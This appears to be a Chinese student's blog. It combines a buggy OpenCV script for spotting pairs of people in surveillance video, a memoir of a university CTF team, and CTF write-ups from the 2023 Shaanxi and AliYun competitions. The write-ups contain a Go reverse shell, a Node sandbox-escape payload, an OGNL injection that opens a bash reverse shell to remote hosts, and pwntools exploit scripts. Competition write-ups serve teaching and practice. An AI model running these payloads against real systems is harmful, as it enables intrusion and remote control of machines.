AI | 重明

第一个AI?

“这次任务繁重,诸君共勉!”

1300多个视频,每一个都有六个小时的时长,反复观看,持续三天

要在浩如烟海的视频画面中识别出携带有效信息的三个人,尤其是对于刚刚接触业务工作的我们来说,更是堪比青天揽星

第一次听到这个任务的我,也是沉默了一会儿,唉,是个体力活啊

“大家不用有很大的压力,我们也向很多公司寻求了技术支持,比如某华、某康威视,他们的图像识别技术在国内也是领先水平,有他们的协助,再加上大家的共同努力,相信我们一定可以取得非常不错的成绩。”

嗯?技术支持?图像识别?脑袋轰的一下炸开,我知道python有一个开源库opencv​,但是我平时只是拿来提取简单的色素块进行比较排序,还没试过对复杂图像和长时间视频进行一个深度学习、识别、提取的过程,但这次时间跨度有点长,那为什么我不自己去写一个AI帮我去看呢?🤔

OpenCV

假设,我们有一个西瓜🍉那我们如何判断这是一个西瓜的呢?比如说,我们可以从通过分析它的颜色、形状和质地,都可以说它是西瓜🍉。

下一个问题,计算机怎么知道这是西瓜🍉呢?计算机是没有生活经验的,但是计算机视觉的功能可以通过识别图像的线索来进行判断。而这些线索称为图像的特征,而我们要做的就是帮助计算机检测图像中的各种特征。

听上去是不是简单?但写起来还是挺麻烦的,尤其是对我这种基本没接触过深度学习与神经网络的初学者来讲。。。

但可以先确定一下具体步骤,首先要根据照片生成人体检测模型:

  1. 收集和准备训练数据集:获取包含人体的照片,并为每个人体标注边界框或关键点。可以使用公开的人体检测数据集,如COCO​、MPII​等,或者自己手动标注数据集。
  2. 数据预处理:对收集到的数据集进行预处理,包括图像的调整大小、裁剪、归一化等操作,以便于模型的训练和输入。
  3. 构建模型:选择适合人体检测任务的模型架构,如Faster R-CNN​、YOLO​、SSD​等。可以使用现有的模型架构,并根据需要进行修改或微调。
  4. 训练模型:使用准备好的数据集对模型进行训练。在训练过程中,你需要定义损失函数、选择优化算法,并设置训练的超参数。
  5. 模型评估和调优:在训练完成后,使用验证集或测试集对模型进行评估,了解模型的性能。根据评估结果,可以进行模型的调优,如调整网络结构、调整超参数等。
  6. 导出和使用模型:训练完成后,将模型导出为可用的格式,比如caffemodel​、prototx​,然后再用该模型进行人体检测。

上面这些数据处理、模型训练,我相信公司已经在做了,所以我打算直接嫖他们的训练模型(嘿嘿嘿)

目标识别

然后麻烦的就是目标的判断算法,这几天看大家的照片,都是在以胸前图案为主,我一开始也是这样想的,但是在写代码的时候就发现了问题:

  1. 监控的画质并不是很清晰。
  2. 中午阳光强烈,衣服上的图案可能与衣服本身颜色对比不明显,很难提取。

似乎停滞了?

“目标必须要共同行走一段距离,两者之间相距不得超过1.5米。”
所以我果断换了思路——距离计算

虽然这样也会有一定的问题,比如拍摄角度问题,可能就要根据透视原理之类的适当缩放那个距离数值,但是比起图案识别那个思路来讲,难度小,误差也小,实现起来也简单。

我们可以先对两人添加矩形框,然后取矩形框对角线的交点作为两人的中心点,任意连接两个中心点形成线段,判断线段长度是否持续四秒钟小于1.5米,符合条件的话便对此时画面进行捕捉提取。

而距离度量的话,我选择了欧几里得距离公式(欧氏距离)进行计算:

​​image​​

代码编写

第一次自己操刀写的一个AI,说实话写的不行,不美观,思路还有点杂乱。。。

(这是思路的初稿,二代修正在写了)

#!/usr/bin/env python
#-*- coding: utf-8 -*-
import cv2
import time
import math
import numpy as np
import torch
import torchvision.transforms as transforms
import tensorflow as tf
import tf2caffe
import caffe
import random
import os

# 自定义数据路径
data_dir = 'path1'
train_txt = 'path2'
val_txt = 'path3'

# 定义模型结构
model_template = '''
name: "PersonDetection"
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TRAIN
  }}
  transform_param {{
    mirror: true
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{TRAIN_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "data"
  type: "Data"
  top: "data"
  top: "label"
  include {{
    phase: TEST
  }}
  transform_param {{
    mirror: false
    crop_size: 227
    mean_value: 104
    mean_value: 117
    mean_value: 123
  }}
  data_param {{
    source: "{VAL_TXT}"
    batch_size: 32
    backend: LMDB
  }}
}}
layer {{
  name: "conv1"
  type: "Convolution"
  bottom: "data"
  top: "conv1"
  convolution_param {{
    num_output: 96
    kernel_size: 11
    stride: 4
  }}
}}
layer {{
  name: "relu1"
  type: "ReLU"
  bottom: "conv1"
  top: "conv1"
}}
# 其他层定义...
'''

# 生成prototxt文件
train_prototxt = 'train.prototxt'
val_prototxt = 'val.prototxt'

with open(train_prototxt, 'w') as f:
    f.write(model_template.format(TRAIN_TXT=train_txt))

with open(val_prototxt, 'w') as f:
    f.write(model_template.format(VAL_TXT=val_txt))

# 训练模型
caffe.set_mode_gpu()
solver = caffe.SGDSolver('solver.prototxt')
solver.solve()

# 保存模型权重
trained_caffemodel = 'trained.caffemodel'
solver.net.save(trained_caffemodel)

# 加载模型文件
net = cv2.dnn.readNetFromCaffe('deploy.prototxt', 'model.caffemodel')
# 加载目标视频
video = cv2.VideoCapture("video.mp4")
# 获取视频帧率
fps = video.get(cv2.CAP_PROP_FPS)
# 定义输出图片路径
output_path = 'output_path'
# 初始化变量
start_frame = 0
end_frame = 0
# 定义距离计算:欧几里得距离公式
def calculate_distance(point1, point2):
    x1, y1 = point1
    x2, y2 = point2
    distance = np.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2)
    return distance
# 取中心点
def calculate_center(box):
    x1, y1, x2, y2 = box
    center_x = int((x1 + x2) // 2)
    center_y = int((y1 + y2) // 2)
    centers.append(center_x, center_y)

# 记录每个人物的最近一次检测时间
person_last_detected = {}

# 定义变量和列表
threshold_distance = 100  # 这里我们假设1.5米对应的像素距离是100
duration_threshold = 3  # 持续时间阈值(单位:秒)
start_time = None  # 记录开始时间
center_points = []  # 存储中心点坐标的列表

while video.isOpened():
    ret, frame = video.read()

    if not ret:
        break
    # 随机选择两个人
    random_indices = random.sample(range(len(centers)), 2)
    selected_centers = [centers[i] for i in random_indices]
    # 进行人体检测并获取人的矩形框
    blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104.0, 177.0, 123.0))
    net.setInput(blob)
    detections = net.forward()
    centers = []

    for i in range(detections.shape[2]):
        confidence = detections[0, 0, i, 2]
        if confidence > 0.5:  # 设置置信度阈值
            center = detections[0, 0, i, 3:7] * np.array([frame.shape[1], frame.shape[0], frame.shape[1], frame.shape[0]])
            center = center.astype(int)
            centers.append(center)

            x1, y1, x2, y2 = center
            cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)

    # 对每个人的矩形框进行处理
    for center in centers:
        # 计算中心点坐标
        center = calculate_center(center)
        # 将中心点坐标添加到列表中
        center_points.append(center)
        # 更新人物中心点和最近一次检测时间
        person_last_detected[center] = time.time()

    # 如果中心点坐标列表长度大于等于2
    if len(center_points) >= 2:
        last_three_points = center_points[-2:]  # 获取最后2个中心点坐标

        # 判断距离是否小于1.5米
        distances = [calculate_distance(point1, point2) for point1, point2 in zip(last_three_points[:-1], last_three_points[1:])]
        if all(distance < threshold_distance for distance in distances):
            if start_time is None:
                start_time = time.time()
            elif time.time() - start_time >= duration_threshold:
                cv2.imwrite("captured.jpg", frame)
                print("Hunt!")
        else:
            # 重置起始时间和中心点坐标列表
            start_time = time.time()
            # 清空人物中心点列表
            center_points = []
    # 移除超过持续时间阈值的检测记录
    current_time = time.time()
    person_centers = [center for center in person_centers
            if current_time - person_last_detected[center] <= duration_threshold]

    # 保存当前帧图片
    cv2.imwrite(output_path, frame)

    #  'q' 键退出
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
# 释放资源
video.release()
cv2.destroyAllWindows()

上面说的其实都不是问题,重要的是我还没有模型。。。没有实际测量,后面我打算弄一个模型简单测测再说吧。

起名?

“嘿,Siri!记录,凌晨零点三十二分,AI主要代码编写完成。”
“好的,我已为您创建好备忘录,请设置一个标题。”
我端起茶杯,浅尝一口,望向窗外,外面早已一片漆黑,仿佛被夜冲刷了所有的痕迹,透着它独有的深邃。
“嗯,就叫重明吧。”

这就是我的第一个AI,一个还不完善的AI🙂

惊鸿过隙

327f8aa73801dd90b7eab405c8c7703

我抬起头,望着夕阳🌇感受着指尖流动的风,回首看向大家离开教学楼,彷佛看到了三年前高考结束的自己,“当时也是这一片天空呢。” -- 2023年6月10日

三年

转眼要去实习了,惊鸿过隙,说句实话在学校我时常恍惚自己依旧是刚刚入学的大一新生,但微微一怔便暗自苦笑起来:是啊,我也老了,马上大四了。
从2020年开始,对于我来说,大学生活的简单概括就是:一直不能理解的浑浑噩噩。来到大学,这里没有高中时对自由憧憬的向往,课堂上没有对学业技术的刻苦钻研,有的仅仅是一些一成不变的规定和严格的警务化管理模式,在这样的重压之下,上课时的学习仿佛成了天方夜谭,是同学眼里的“异类”。与其每天都在上着我不太上心的课,倒不如去干一些有意思的事,于是终于在某一天,我决定开始翘课。很多人觉得这样蛮酷的,有自己的想法和风格,但其实这样会有不小的麻烦,在经历很多事情后,我也逐渐明白了很多,人们心里的成见就是一座大山,没有愚公移山的意志是改变不了的,我自知没有这样的时间和耐性,不够成熟,所以倒不如我去适应它。
IMG_4433
网络空间安全执法技术实验室,我们更喜欢亲切地称它为“圣地亚哥皮蛋厂”。但在我们心里,这里已经不仅仅是一个社团基地,更是我们所有人的,在这里有情同手足的兄弟姐妹,有一群为了一个共同的目标而不懈努力、通宵达旦的身影,更有一颗颗想为国家网络安全事业做出贡献的赤子之心(有故意升华的嫌疑doge),毕竟志同道合的朋友在一起,人生难得之幸事。

而现在,也终于要到了与19级的师哥师姐们分别的时候,六月的初夏——一个时常触动人们敏感神经的季节,因为有些人终究是要离开,有些人也会暂时留在我身边。看惯了这种分分离离,倒也感觉十分高兴,因为我相信离开的人是为了去做更有意义的事,而留下的人也能陪我走下一段路。我相信,在不久的将来,这样一群有梦的少年,会在某一年,大家还会聚首,相视而笑。

千帆过尽

2023,伴随着新年的第一缕曙光,新的一年悄然而至。全国疫情终于得到了非常有效的控制,学校也逐渐取消了核酸检测与常态化疫情防控,“外出参赛”这一安排经多方商讨后也是重新提上了日程。从那天起,一支来自某院校的不知名 CTF战队--圣地亚哥皮蛋​ / ​SanDieg0又或多或少地在各大网络安全比赛排行榜上活跃起来,而我们实验室的荣誉墙上也慢慢有了新的奖杯🏆来了许多新面貌。

西湖论剑、网鼎杯、红明谷杯、磐石行动、国赛、盘古石杯、智警杯。。。
杭州、三明、上海、南京、北京、西安、合肥。。。

但花开花落,云卷云舒,自己马上也要大四了,工作、学业越来越繁重,而我们的技术也肯定会在相当长的一段时间内止步不前,甚至落后于时代的车轮而被逐渐淘汰出这个我们曾经深深热爱、为之奋斗的圈子,转身要去和生活对线了,所以皮蛋厂的各位,接下来,请继续向前吧!

e449c631499b9ab814ed89b3932df3d

断开连接?

每一次外出参赛返回学校,我的心里都会隐隐生出一丝刺痛,因为我明白,对于学校的大多数人而言,人生不是轨道,不是旷野,更像是一片树林。轨道太过于局限,旷野太过于自由。树林里有很多人踏出来的小路,但更多的是还没有涉足的林地;你可以选择走那些小路,也可以选择去走那些人迹罕至的地方。走小路的是绝大多数人,考公、考研、工作,敢于去探索的是永远是少数人,因为绝大多数人没有能够在野外生活的常识与资本,就跟爆火的人工智能与网络安全所带来的红利普通人基本吃不到一样,他们最多能做的就是在小路上偏离一点点然后四处看看,最后又回到原有的路上。轨道式的生活太现实,在这样的生活里会过得很痛苦;旷野式的生活太理想,与绝大多数人无关,因为有些地方本来就很难涉足。

但是,那又怎样呢,我想对在学校的大家说,因为我讨厌后悔,反正成功和失败的概率是五五开,所以不管结局如何,请都要尽全力以赴,答案是对是错都无所谓,这个世界,没有人是“应该活成什么样子”。
ddd15e1b221442e64eb514c69db3e12

所以,SanDieg0.AndyNoel 断开连接?

我又怎么会甘心呢🙂?

2023 Shaanxi University Student CyberspaceSecurity Competition Partly WriteUp

WEB

test

image

/profile/admin

image

cmd5反查一下:​admin:asdfgh123

登录成功:

image

从网上找一个反弹shell的golang shell

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}

自己写一个上传接口,然后修改相关信息,BP发包即可:

POST /Adm1nUp104d HTTP/1.1
Host: xxxxxxxxx.clsadp.com
Content-Length: 1203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:63342
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydX4dGEAJZUS6ZqkT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="file"; filename="123.go"
Content-Type: application/octet-stream

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}
------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="submit"

submit_file
------WebKitFormBoundarydX4dGEAJZUS6ZqkT--

image

ezrce

简单的无参数rce,正则里面开了​``​[模式就能执行命令]()。然后利用session,直接梭了PHP的无参数RCE - 先知社区 (aliyun.com)

image

unserialize

非预期了,不需要反序列化,直接%0a​绕过了

payload:passthru%0a(%27cat%20/flag%27);

Esc4pe_T0_Mong0

参考 angstromctf2022 misc/CaaSio PSE ,补充过滤​ / ​​防范正则,补充过滤URL编码绕过,需要进一步绕过长度限制

Read Source Code​ 可以看到页面源码,利用 this.constructor.constructor ​​进行沙箱逃逸

image

有长度限制和黑名单,可以用with​来绕过.​后续的内容我们可以使用 fromCharCode​ 来绕过敏感字符,但是由于长度限制,在fromCharCode ​​内部还需要进一步进行定义来缩短长度

payload:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34))

反弹shell后直接进MongoDB,读flag​3702311e045df49394f3bcd7e26716e

ezpop

首先存在一个不可见字符的post传参,这里需要urlencode编码一下,然后再将其作为参数进行post传参

<?php
class night
{
    public $night;

    public function __destruct(){//night=new day()
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;
}

class light
{
    public $light;

}

class dark
{
    public $dark;

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
$b=array($a,0);
echo serialize($b);

因为GC回收机制,我们将得到了serialize$b中的1改成0,最后生成我们最后的payload:

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

PWN

陕西游玩

from pwn import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.55',10001)
elf = ELF('./pwn')
libc=ELF('libc.so.6')
ru('choice :\n')
sl('2')
ru('Warriors\n')
sl('%11$p')
ru('0x')
base=int(r(12),16)-0x13a0
ru('choice :\n')
sl('1')
payload=b'a'*0x28+p64(base+0x129A)
p.sendline(payload)
itr()

easy_printf

from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.X',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

ru('Do you know who the best pwner is?\n')
sl('TokameinE_is_the_best_pwner\0')
ru('What do you want to say?\n')
sl('%18$p')
ru('0x')

libc_base = int(r(12),16) - 0x5f1168
leak('libcbase',libc_base)
og = libc_base + 0x4527a
free_hook = libc.sym["__free_hook"] + libc_base
leak('og',og)

leak('free_hook',free_hook)
free = free_hook//0x100000000

leak('free',free)
free1 = free_hook//0x10000000000

num = 72
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

itr()

MISC

Findme

twealpng打开图片,发现有数据块较大,提取出来

image

手动提取后,发现大小刚好为500k,怀疑是VeraCrypt加密容器

image

image

修复图片后进行挂载,

image

image

将其转换成16进制数据后写入新文件,图片调整高度为400出二维码:

image

扫描出flag

你是不是很疑惑呢

按照提示,aztec条形码时间戳异或,将创建时间与修改时间进行转化后异或

可以先将汉字与阿拉伯数字进行手动替换

import os  
import datetime

# 指定文件夹路径  
folder_path = "path/to/folder"

# 遍历文件夹  
for filename in os.listdir(folder_path):  
    # 只处理 png 文件  
    if filename.endswith(".png"):  
        # 获取文件的创建时间和修改时间的时间戳  
        create_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  
        modify_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  

        # 将时间戳异或  
        和时间戳异或的操作符进行运算  
        result = create_time ^ modify_time  

        # 打印输出  
        print(f"{filename}的创建时间为{create_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            修改时间为{modify_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            异或结果为{result.strftime('%X')}")  

按顺序转ascii得到flag

image

管道

签到misc,随便旋转一下,zsteg -a 管道.png

image

可是雪啊飘进双眼

wav有摩斯密码,

image​解密WOAIXIAN​,然后txt是snow隐写:

image

解压,key.jpg是加密的对照表,改为zip再次打开

image

对照后得到密钥: BC1PVEYD

steghide解密hide.jpg即可

Crypto

HaM3

CryptoCTF2021原题

pq乘积在n里

组合爆破分解

from Crypto.Util.number import *
from tqdm import tqdm

n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-19:]
high = str(n)[:19]
pq_prob = []

for i in range(10):
    pq_prob.append(int(high + str(i) + low))

for x in tqdm(pq_prob):
    f = factor(x)
    if (len(f) == 2 and f[0][0].nbits() == 64):
        p, q = f[0][0], f[1][0]
print(p,q)
P = int(str(p) + str(q))
Q = int(str(q) + str(p))
PP = int(str(P) + str(Q))
QQ = int(str(Q) + str(P))
N = PP * QQ
print(N)
assert N == n
phi = (PP - 1) * (QQ - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
print(m)
print(long_to_bytes(m))

奇怪的sar

lcg流密码加异或

用剪枝算法能解

from Crypto.Util.number import *
from gmpy2 import *
n =  24044063028844014127418595700558729326190738802687551098858513077613750188240082663594575453404975706225242363463089392757425008423696150244560748490108425645064339883915929498539109384801415313004805586193044292137299902797522618277016789979196782551492020031695781792205215671106103568559626617762521687128199445018651010056934305055040748892733145467040663073395258760159451903432330506383025685265502086582538667772105057401245864822281535425692919273252955571196166824113519446568745718898654447958192533288063735350717599092500158028352667339959012630051251024677881674246253876293205648190626145653304572328397
c =  14883053247652228283811442762780942186987432684268901119544211089991663825267989728286381980568977804079766160707988623895155236079459150322336701772385709429870215701045797411519212730389048862111088898917402253368572002593328131895422933030329446097639972123501482601377059155708292321789694103528266681104521268192526745361895856566384239849048923482217529011549596939269967690907738755747213669693953769070736092857407573675987242774763239531688324956444305397953424851627349331117467417542814921554060612622936755420459029769026126293588814831034143264949347763031994934813475762839410192390466491651507733968227
n1 =  137670797028117726329534659376416493367957852768263083700434198723955223922183386928456013703791817601151754417828367188186912209697081337658512940425529211281290630976671911327606706953154608427885071841566358882014021242768190762103365969320014710368160869517966437591299370072284930202718943785099916898209
enc =  [101737402423360536260958229788866250367716256968287178187558336481872788309727545478736771692477306412259739856568227009850831432381180909815512654609798228982433082928392936844193974517574281026029228179913579225687286945054175762659252515268270399329404664775893089132101252158524000295899895962104782878103, 37355684997487259669354747104430314505839306993101096210478266975184357608742619438151118843905165289324251734149329596611854110739738607745107961453008343886403511257039401245484528985856920723694142989180291902939107642020398816995584650913417698279936585230648639613028793148102494100898288564799111024672, 58677759595639211550435023449462812079890625834313820227189340593596480924226619376872336960357021314847975570175387751632125898437020801920862764666175594874885587518469384576361008639967382152477408865298759987606155830674598034578657554841283906976808719095766296677147076808250022898199866472085742989883, 61841632061818470036288407041172200048676249787061823756736224887116113640875444187463656719652972233582538657844183320242896612625995507633237074900538692102956750184024574603018257213912795847625926653585010890014291951218199774765624860625726555381815237888483974246173727262881650634287497285246796321130, 7618244158597756867387754433401378508070531356170836765779245254233413235386172690733378371343899289510629513166609513857423499004879497768588665836034791151090648182168421570449377835494883902907064269417199065924565304966242954268460876762295575715334403142360198583318323418975108290758222653083011275844, 106276841058222138994123556391380518368163552919305398852484130331884811278068151915582752795463570013359693610495645946230044828403849434903415989487924763756589202218361370725532394478569304449884620166937809374355282324069422109879874964479199929174533104879048175102339134830614476339153367475243140156049, 54574757236475194407137831004617398270525645136836468973535243574661043352422598443323384197261529289829451787586618886007968913414366545291507686451774653217577858375086817168124727394445167274831801876424578654786480330913650363551771258617533162477541882336257099777912519011890593910515860435759936717781, 15567087904962670212229825713697043597876172881256160613623383896576159414077875401117959132252949501643234465895697270909085179587988268864498823765197994781747034644583869111599516151129007414228897958635533561248099927507725880289417298814703767549313482346652043188826434944367260731729064673486516315207, 10757138067445225320504771816863593606847219020279502671965413470243269270456133564739090471033889069283122519782525412134604896073598293410977787230108853737796640474070194546344190858079847734817109910030714675258996740807873872365037296486121580542250452443305370358407408558223735250474249180772656905880, 68097848963949068260912124852455363245291187860801223898468533992003737157497436432969031551088942445561676359631354280979357356539429863946694570097104716411407829017684705171462511875250672979623888463245258237680782731827727876526411531354910982579164963119481534453651300645314177478026462894232377307020]
seed = 39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116
start = [(1, 1)]
for i in range(1, 1025):
    tmp = (1 << (i+1))
    all = []
    for p1, q1 in start:
        for s in range(2):
            for t in range(2):
                cp = p1 + s * (1 << i)
                cq = q1 + t * (1 << i)
                all.append((cp, cq))
    start = all
for p,q in all:
    phi = (p - 1) * (q - 1)
    e = 65537
    d = inverse(e, phi)
    m = pow(c, d, n)
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
        break

Reverse

我的upx-d怎么坏了

od手脱,反编译找到迷宫,找到最短路径,

解出为RRRDRRURRRRRRDDDDRDDD

MD5后套上flag

image

babypython

149         910 LOAD_CONST             147 ('************************************')
            912 STORE_NAME              32 (flag)

152         914 LOAD_CONST             148 ('')
            916 STORE_NAME              33 (value)

153         918 LOAD_CONST             148 ('')
            920 STORE_NAME              34 (output)

154         922 LOAD_CONST               0 (0)
            924 STORE_NAME              30 (i)

156         926 NOP

157     >>  928 LOAD_NAME               32 (flag)
            930 LOAD_NAME               30 (i)
            932 BINARY_SUBSCR
            942 STORE_NAME              35 (temp)

158         944 PUSH_NULL
            946 LOAD_NAME               36 (chr)
            948 PUSH_NULL
            950 LOAD_NAME               37 (ord)
            952 LOAD_NAME               35 (temp)
            954 PRECALL                  1
            958 CALL                     1
            968 LOAD_CONST             150 (8)
            970 BINARY_OP               12 (^)
            974 PRECALL                  1
            978 CALL                     1
            988 STORE_NAME              35 (temp)

159         990 LOAD_NAME               33 (value)
            992 LOAD_NAME               35 (temp)
            994 BINARY_OP               13 (+=)
            998 STORE_NAME              33 (value)

160        1000 LOAD_NAME               30 (i)
           1002 LOAD_CONST             149 (1)
           1004 BINARY_OP               13 (+=)
           1008 STORE_NAME              30 (i)

161        1010 LOAD_NAME               30 (i)
           1012 PUSH_NULL
           1014 LOAD_NAME               38 (len)
           1016 LOAD_NAME               32 (flag)
           1018 PRECALL

找到
=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c

字节反转,

c9dscnZAb25tb3FwQT5xbXE+bUJvM0E/Qm48b3BwQUA7b3A0bn1=

手动将数字和英文字母进行替换

cWdscnZAb25tbHFwQT5xbXE+bUJvM0E/Qm4=
再base64进行解码qglrv@onmlqpA>qmq>mBo3A?Bn

enc = "qglrv@onmlqpA>qmq>mBo3A?Bn"
for i in range(len(enc)):
    print(chr(ord(enc[i])-3^8),end="")

AliYunCTF partly WriteUp

整理 & 询问几个师傅后做的

WEB

通向shell之路

import requests as req
from urllib.parse import quote
import base64

url = "http://120.55.13.151:8080/app/user/%s"
headers = {
    "Accept": "application/json, text/plain, */*",
    "Referer": "http://120.55.13.151:8080/app/",
    "Connection": "close"}

payload = '(#r="a".getClass().forName("java.lang.Runtime")).(#m=#r.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#o=#m.invoke(null,null)).(#e=#r.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("[Ljava.lang.String;")}.{? #this.getParameters().length == 1}[0]).(#e.invoke(#o,new String[]{"sh","-c","echo %s |base64 -d|bash"}))' % base64.b64encode(b"bash -i >& /dev/tcp/118.X.X.164/2333 0>&1")
payload = "../../action/%s" % quote(quote(payload))
